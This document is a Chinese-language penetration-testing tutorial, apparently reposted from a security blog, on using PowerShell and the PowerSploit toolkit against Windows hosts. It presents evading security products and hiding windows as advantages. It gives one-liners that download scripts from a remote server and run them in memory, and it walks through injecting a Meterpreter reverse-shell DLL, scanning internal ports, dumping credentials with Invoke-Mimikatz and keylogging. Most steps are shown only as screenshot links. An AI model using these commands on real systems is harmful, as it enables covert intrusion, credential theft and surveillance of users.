渗透利器之Powershell

来源:互联网 发布:淘宝悠悠球店铺 编辑:程序博客网 时间:2024/05/18 02:14

http://p7.qhimg.com/t01a1ad3d6ce32b6e4e.png

前言


Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。


Powershell的优秀之处


1. 代码运行在内存中可以不去接触磁盘

2. 从另一个系统中下载代码并执行

3. 很多安全产品并不能监测到powershell的活动

4. cmd.exe通常被阻止运行,但是powershell不会。


各个Windows下powershell版本


http://p5.qhimg.com/t0195b15357de4adf51.png


Powershell运行选项


以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项

1
2
-WindowsStyle Hidden 隐藏自己的窗口
-ExecutionPolicy Bypass 绕过策略

Powershell脚本默认情况下无法在cmd下或双击执行,这时我们就可以使用这个选项绕过。


PowerSploit


PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

一、代码执行(CodeExecution)

1. Invoke-DllInjection 

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。


搭建PowerSploit脚本服务器


1. 下载PowerSploit到服务器

http://p2.qhimg.com/t018218ace50f435af5.png

2. 启动Apache

http://p7.qhimg.com/t01fc5b49f2d5b5aa6d.png

3. 查看是否成功搭建

http://p5.qhimg.com/t01005c4c68da223f6f.png


实战运用


由于篇幅问题,我们不可能针对每一个脚本都进行详细的介绍,所以这里我们来介绍一下实战中最常用到的脚本。

IEX远程下载脚本执行:

1
IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)

获取Shell:

1.  Invoke-DllInjection

将DLL文件注入到当前进程中

我们首先来生成一个DLL反弹马

http://p1.qhimg.com/t01e6c16b68d04c72ad.png

在目标机上保存msf.dll到本地

http://p0.qhimg.com/t01754bd9980fba6681.png

我们下载Invoke-DllInjection脚本

http://p7.qhimg.com/t01fa1d19692685aae9.png

运行一个隐藏进程并注入DLL反弹木马

http://p1.qhimg.com/t01e86a2f91a359d579.png

可以看见Meterpreter会话成功建立了

http://p8.qhimg.com/t01a9823d4cf08129a5.png

2. Invoke-Shellcode

在当前进程中注入Shellcode

Powershell调用Windows API非常方便,所以也可以直接来执行Shellcode。PowerSploit也提供了一些Shellcode,看下图:

http://p2.qhimg.com/t01184fbc918ceb5364.png


扩大成果-内网端口扫描


1. 我们先下载Invoke-Portscan

http://p5.qhimg.com/t01504eaf794aeb0fe5.png

2. 结果

http://p0.qhimg.com/t012a419f8dcb079a59.png


获取主机密码


为了不让管理员发现,我们不能再目标机上添加任何账户,这时候我们就需要来获取管理员密码来维持访问。这里我们就需要使用到脚本Invoke-Mimikatz,注意需要管理员权限。

1. 下载脚本

http://p3.qhimg.com/t01a096e94f7be65af7.png

2. dump密码

1
Invoke-Mimikatz –DumpCreds

http://p4.qhimg.com/t01a4d67a045e8aecfc.png

再来一个大杀器-键盘记录

http://p0.qhimg.com/t0160f7ce69b7f027a7.png

这样它就进行键盘记录,不仅有键盘输入记录还有鼠标输入记录,而且还有很详细的时间,实战使用的时候,我们就要在放入后台运行。


漏洞探测-攻击进行时


下载脚本:

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")

Invoke-AllChecks:输出可识别的漏洞

http://p8.qhimg.com/t01e35e708a57173d2d.png


自学指南-Get Help


脚本很多,很难一一介绍,剩下就要自己来尝试了,但是网上基本上找不到使用教程,所以就需要来获取帮助信息,来帮助自己学习。

比如Invoke-DllInjection

下载脚本:

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

获取帮助信息:

1
Get-Help Invoke-DllInjection

http://p0.qhimg.com/t01753e3e96af70fd2b.png

查看事例:

1
Get-Help Invoke-DllInjection -Examples

http://p8.qhimg.com/t0163d0260b2de7f2d7.png

查看详细信息:

1
Get-Help Invoke-DllInjection –Detailed

http://p7.qhimg.com/t01d76103ae9027a03f.png


结束语


Powershell实在是太强大了,可以说是内网渗透利器,继续深入研究,下一篇文章我们就不再是使用别人的脚本了,本篇文章的作用主要还是在于引导,大家还是要多用多练,才能在实践中灵活的运用。


 

原文地址:http://bobao.360.cn/learning/detail/3104.html